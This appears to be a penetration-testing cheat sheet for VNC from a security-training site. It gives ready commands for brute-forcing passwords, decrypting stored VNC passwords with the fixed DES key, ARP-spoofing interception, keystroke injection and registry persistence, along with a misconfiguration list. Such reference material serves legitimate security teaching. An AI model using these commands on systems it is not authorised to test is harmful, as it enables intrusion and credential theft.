Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

VNC (Virtual Network Computing)

Default Ports: 5900-5906

Virtual Network Computing (VNC) is a graphical desktop-sharing system that uses the Remote Frame Buffer (RFB) protocol to remotely control another computer. VNC transmits keyboard and mouse events from one computer to another, relaying graphical screen updates back. It's platform-independent and widely used for remote technical support, access to work computers, and server administration.

Connect​

Using vncviewer​

# Basic connection
vncviewer target.com:5900

# With display number (5900 + display)
vncviewer target.com:0  # Port 5900
vncviewer target.com:1  # Port 5901

# With password file
vncviewer -passwd ~/.vnc/passwd target.com:0

Using remmina (GUI)​

Remmina is a feature-rich remote desktop client that supports VNC, RDP, and other protocols:

Protocol: VNC
Server: target.com:5900
Username: (if required)
Password: password

Using TightVNC Viewer​

# Windows
tvnviewer.exe target.com::5900

# Linux
vncviewer target.com:5900

Recon​

Service Detection with Nmap​

Use Nmap to detect VNC services and identify server capabilities.

nmap -p 5900-5906 target.com

Connect to VNC services to gather version and service information.

Using netcat​

# Using netcat
nc -vn target.com 5900

# Get VNC handshake
echo "" | nc target.com 5900

Using nmap​

# Using nmap
nmap -p 5900-5906 -sV target.com

# Authentication check
nmap -p 5900 --script vnc-info target.com

# Brute force script
nmap -p 5900 --script vnc-brute target.com

Enumeration​

Use various tools for detailed VNC enumeration and information gathering.

VNC Authentication Check​

Determine VNC authentication methods and protocol versions.

# Check authentication type
nmap -p 5900 --script vnc-info target.com

# Output shows:
# - Protocol version (RFB 003.003, 003.007, 003.008)
# - Authentication types (None, VNC, Tight, Ultra, TLS, VeNCrypt)
# - Desktop name

Display Enumeration​

Enumerate available VNC displays and sessions.

# Scan range of VNC ports
nmap -p 5900-5910 target.com

# Check each display
for i in {0..10}; do
  echo "Display :$i (port $((5900+i)))"
  nc -zv target.com $((5900+i))
done

Attack Vectors​

Exploit various VNC vulnerabilities and misconfigurations for unauthorized access.

No Authentication​

Test for VNC servers configured without authentication.

# Try connection without password
vncviewer target.com:5900

# Using Metasploit to check
use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS target.com
run

# If successful, you have immediate desktop access

Weak or Default Passwords​

Test common default VNC passwords for unauthorized access.

# Common VNC passwords
password
12345678
vnc123
admin
administrator

# Try with vncviewer
vncviewer target.com:5900
# Enter password when prompted

Brute Force Attack​

Brute force VNC passwords using various tools and techniques.

Using Hydra​

hydra -P /usr/share/wordlists/rockyou.txt vnc://target.com

Using Metasploit​

use auxiliary/scanner/vnc/vnc_login
set RHOSTS target.com
set PASS_FILE passwords.txt
run

Using Nmap​

nmap -p 5900 --script vnc-brute --script-args passdb=passwords.txt target.com

Using Medusa​

medusa -h target.com -u "" -P passwords.txt -M vnc

Password Decryption​

Exploit VNC's weak password encryption for credential recovery.

# VNC password locations
~/.vnc/passwd
C:\Users\username\.vnc\passwd
C:\Program Files\RealVNC\vncserver.ini

# Decrypt VNC password
vncpwd /path/to/passwd

# Using Python script
python3 << 'EOF'
from d3des import decrypt
import base64

# Read encrypted password
with open('.vnc/passwd', 'rb') as f:
    encrypted = f.read()

# Decrypt (DES with fixed key)
key = [0x17, 0x52, 0x6b, 0x06, 0x23, 0x4e, 0x58, 0x07]
password = decrypt(encrypted, key)
print(password)
EOF

Man-in-the-Middle Attack​

Intercept VNC traffic for credential theft and session hijacking.

# Using Ettercap
ettercap -T -M arp:remote /target-ip// /gateway-ip//

# Capture VNC traffic with Wireshark
# Filter: tcp.port == 5900

# Extract VNC password from captured traffic
# Password is DES encrypted with known key

Post-Exploitation​

Extract sensitive data and establish persistent access after successful VNC exploitation.

Screen Capture​

Capture screenshots of remote desktop for reconnaissance and data collection.

# Using vncsnapshot
vncsnapshot target.com:5900 screenshot.jpg

# Using vncdo
vncdo -s target.com:5900 capture screenshot.png

# Continuous monitoring
while true; do
  vncsnapshot target.com:5900 screen_$(date +%s).jpg
  sleep 60
done

Keylogging and Input Injection​

Inject keyboard and mouse inputs to execute commands or access sensitive information.

# Using vncdo
vncdo -s target.com:5900 key cmd
vncdo -s target.com:5900 type "whoami"
vncdo -s target.com:5900 key enter

# Open Run dialog (Windows)
vncdo -s target.com:5900 key win-r
sleep 1
vncdo -s target.com:5900 type "cmd"
vncdo -s target.com:5900 key enter

Persistence​

Create persistent backdoor access to compromised VNC systems.

# If you have VNC access to a Windows machine
# Use GUI to create persistence

# 1. Open Run (Win+R)
# 2. Type: regedit
# 3. Navigate to: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
# 4. Create new value with path to backdoor

# Or via command injection through VNC
# Win+R -> cmd -> execute commands

Data Exfiltration​

Extract sensitive data from compromised VNC sessions.

# Using VNC clipboard (if enabled)
# Copy sensitive files in VNC session
# Paste on local machine

# Transfer via file sharing
# Open file browser in VNC
# Copy to shared folder if available

# Screenshot sensitive data
vncsnapshot target.com:5900 sensitive_data.jpg

Lateral Movement​

Expand access to other systems using VNC sessions.

# Open command prompt via VNC
# Execute network discovery commands
# ipconfig /all (Windows)
# ifconfig (Linux)

# Scan internal network
# Use VNC to access command line
# Run nmap or other scanning tools

# Access other systems
# Use discovered credentials
# Connect to other VNC servers

Credential Harvesting​

Extract credentials and sensitive information from VNC sessions.

# Access browser password managers
# Use VNC to navigate to saved passwords
# Copy credentials to local machine

# Access configuration files
# Navigate to application configs
# Copy sensitive configuration data

# Keylog user input
# Monitor keyboard input during VNC session
# Capture passwords as they are typed

VNC Variants​

VNC TypePortFeatures
RealVNC5900Most common, enterprise features
TightVNC5900High compression, file transfer
UltraVNC5900File transfer, chat, Windows-focused
TigerVNC5900High performance
x11vnc5900Unix/Linux X11 sharing

Useful Tools​

ToolDescriptionPrimary Use Case
vncviewerVNC clientConnection
RemminaMulti-protocol clientGUI connection
TightVNC ViewerVNC clientWindows client
vncpwdPassword decryptorPassword recovery
vncsnapshotScreenshot toolReconnaissance
vncdoVNC automationInput injection
HydraPassword crackerBrute force
MetasploitExploitation frameworkAutomated testing

Security Misconfigurations​

  • ❌ No authentication (None auth type)
  • ❌ Weak VNC passwords
  • ❌ Exposed to internet
  • ❌ No encryption (standard VNC)
  • ❌ Clipboard sharing enabled
  • ❌ File transfer enabled
  • ❌ No connection logging
  • ❌ Default ports exposed
  • ❌ No network isolation
  • ❌ Outdated VNC server